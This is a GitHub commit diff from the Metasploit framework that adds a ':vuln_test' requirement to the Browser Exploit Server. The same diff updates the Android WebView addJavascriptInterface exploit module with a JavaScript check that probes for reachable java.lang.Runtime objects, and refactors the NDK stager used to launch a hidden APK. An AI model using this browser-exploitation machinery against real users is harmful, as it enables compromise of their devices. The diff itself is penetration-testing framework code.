Skip to content

Commit 6d7870a

Browse files
committed
Land rapid7#3934 - New :vuln_test option to BES
2 parents 0820a4f + 6571213 commit 6d7870a

File tree

3 files changed

+85
-59
lines changed

3 files changed

+85
-59
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -89,8 +89,8 @@ def add_javascript_interface_exploit_js(arch)
8989

9090
# The NDK stager is used to launch a hidden APK
9191
def ndkstager(stagename, arch)
92-
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
93-
data = File.read(localfile, :mode => 'rb')
92+
path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so']
93+
data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb')
9494
data.gsub!('PLOAD', stagename)
9595
end
9696

lib/msf/core/exploit/remote/browser_exploit_server.rb

Lines changed: 70 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
require 'erb'
44
require 'cgi'
55
require 'date'
6+
require 'set'
67
require 'rex/exploitation/js'
78
require 'msf/core/exploit/jsobfu'
89

@@ -23,43 +24,43 @@ module Exploit::Remote::BrowserExploitServer
2324
# this must be static between runs, otherwise the older cookies will be ignored
2425
DEFAULT_COOKIE_NAME = '__ua'
2526

26-
PROXY_REQUEST_HEADER_SET = Set.new(
27-
%w{
28-
CLIENT_IP
29-
FORWARDED
30-
FORWARDED_FOR
31-
FORWARDED_FOR_IP
32-
HTTP_CLIENT_IP
33-
HTTP_FORWARDED
34-
HTTP_FORWARDED_FOR
35-
HTTP_FORWARDED_FOR_IP
36-
HTTP_PROXY_CONNECTION
37-
HTTP_VIA
38-
HTTP_X_FORWARDED
39-
HTTP_X_FORWARDED_FOR
40-
VIA
41-
X_FORWARDED
42-
X_FORWARDED_FOR
43-
})
27+
PROXY_REQUEST_HEADER_SET = Set.new(%w{
28+
CLIENT_IP
29+
FORWARDED
30+
FORWARDED_FOR
31+
FORWARDED_FOR_IP
32+
HTTP_CLIENT_IP
33+
HTTP_FORWARDED
34+
HTTP_FORWARDED_FOR
35+
HTTP_FORWARDED_FOR_IP
36+
HTTP_PROXY_CONNECTION
37+
HTTP_VIA
38+
HTTP_X_FORWARDED
39+
HTTP_X_FORWARDED_FOR
40+
VIA
41+
X_FORWARDED
42+
X_FORWARDED_FOR
43+
})
4444

4545
# Requirements a browser module can define in either BrowserRequirements or in targets
46-
REQUIREMENT_KEY_SET = {
47-
:source => 'source', # Either 'script' or 'headers'
48-
:ua_name => 'ua_name', # Example: MSIE
49-
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
50-
:os_name => 'os_name', # Example: Microsoft Windows
51-
:os_flavor => 'os_flavor', # Example: XP, 7
52-
:language => 'language', # Example: en-us
53-
:arch => 'arch', # Example: x86
54-
:proxy => 'proxy', # 'true' or 'false'
55-
:silverlight => 'silverlight', # 'true' or 'false'
56-
:office => 'office', # Example: "2007", "2010"
57-
:java => 'java', # Example: 1.6, 1.6.0.0
58-
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
59-
:method => 'method', # ActiveX method. Also requires the :clsid key
60-
:mshtml_build => 'mshtml_build', # mshtml build. Example: "65535"
61-
:flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
62-
}
46+
REQUIREMENT_KEY_SET = Set.new([
47+
:source, # Either 'script' or 'headers'
48+
:ua_name, # Example: MSIE
49+
:ua_ver, # Example: 8.0, 9.0
50+
:os_name, # Example: Microsoft Windows
51+
:os_flavor, # Example: XP, 7
52+
:language, # Example: en-us
53+
:arch, # Example: x86
54+
:proxy, # 'true' or 'false'
55+
:silverlight, # 'true' or 'false'
56+
:office, # Example: "2007", "2010"
57+
:java, # Example: 1.6, 1.6.0.0
58+
:clsid, # ActiveX clsid. Also requires the :method key
59+
:method, # ActiveX method. Also requires the :clsid key
60+
:mshtml_build, # mshtml build. Example: "65535"
61+
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
62+
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
63+
])
6364

6465
def initialize(info={})
6566
super
@@ -129,7 +130,7 @@ def get_target
129130
# @return [Hash] A hash of requirements
130131
#
131132
def extract_requirements(reqs)
132-
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
133+
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
133134
# Make sure keys are always symbols
134135
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
135136
end
@@ -189,9 +190,12 @@ def get_bad_requirements(profile)
189190
# Special keys to ignore because the script registers this as [:activex] = true or false
190191
next if k == :clsid or k == :method
191192

192-
vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")
193+
expected = k != :vuln_test ? v : 'true'
194+
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
193195

194-
if v.is_a? Regexp
196+
if k == :vuln_test
197+
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
198+
elsif v.is_a? Regexp
195199
bad_reqs << k if profile[k.to_sym] !~ v
196200
elsif v.is_a? Proc
197201
bad_reqs << k unless v.call(profile[k.to_sym])
@@ -375,19 +379,20 @@ def get_detection_html(user_agent)
375379
window.onload = function() {
376380
var osInfo = os_detect.getVersion();
377381
var d = {
378-
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
379-
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
380-
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
381-
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
382-
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
383-
"<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(),
384-
"<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(),
385-
"<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion()
382+
"os_name" : osInfo.os_name,
383+
"os_flavor" : osInfo.os_flavor,
384+
"ua_name" : osInfo.ua_name,
385+
"ua_ver" : osInfo.ua_version,
386+
"arch" : osInfo.arch,
387+
"java" : misc_addons_detect.getJavaVersion(),
388+
"silverlight" : misc_addons_detect.hasSilverlight(),
389+
"flash" : misc_addons_detect.getFlashVersion(),
390+
"vuln_test" : <%= js_vuln_test %>
386391
};
387392
388393
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
389-
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion();
390-
d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString();
394+
d['office'] = ie_addons_detect.getMsOfficeVersion();
395+
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
391396
<%
392397
clsid = @requirements[:clsid]
393398
method = @requirements[:method]
@@ -497,6 +502,12 @@ def on_request_uri(cli, request)
497502
method(:on_request_exploit).call(cli, request, profile)
498503
else
499504
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
505+
if bad_reqs.include?(:vuln_test)
506+
error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
507+
if error_string.present?
508+
print_warning(error_string)
509+
end
510+
end
500511
send_not_found(cli)
501512
end
502513
end
@@ -555,5 +566,16 @@ def get_payload(cli, browser_info)
555566
regenerate_payload(cli, platform, arch).encoded
556567
end
557568

569+
# @return [String] custom Javascript to check if a vulnerability is present
570+
def js_vuln_test
571+
all_reqs = self.module_info['BrowserRequirements'] || {}
572+
if all_reqs[:vuln_test].present?
573+
code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
574+
'Function(('+JSON.generate(:code => code)+').code)()'
575+
else
576+
'true'
577+
end
578+
end
579+
558580
end
559581
end

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -12,18 +12,20 @@ class Metasploit3 < Msf::Exploit::Remote
1212
include Msf::Exploit::Remote::BrowserAutopwn
1313
include Msf::Exploit::Android
1414

15+
VULN_CHECK_JS = %Q|
16+
for (i in top) {
17+
try {
18+
top[i].getClass().forName('java.lang.Runtime');
19+
is_vuln = true; break;
20+
} catch(e) {}
21+
}
22+
|
23+
1524
autopwn_info(
1625
:os_flavor => 'Android',
1726
:javascript => true,
1827
:rank => ExcellentRanking,
19-
:vuln_test => %Q|
20-
for (i in top) {
21-
try {
22-
top[i].getClass().forName('java.lang.Runtime');
23-
is_vuln = true; break;
24-
} catch(e) {}
25-
}
26-
|
28+
:vuln_test => VULN_CHECK_JS
2729
)
2830

2931
def initialize(info = {})
@@ -71,7 +73,9 @@ def initialize(info = {})
7173
'DefaultTarget' => 0,
7274
'BrowserRequirements' => {
7375
:source => 'script',
74-
:os_flavor => 'Android'
76+
:os_flavor => 'Android',
77+
:vuln_test => VULN_CHECK_JS,
78+
:vuln_test_error => 'No vulnerable Java objects were found in this web context.'
7579
}
7680
))
7781

0 commit comments

Comments
 (0)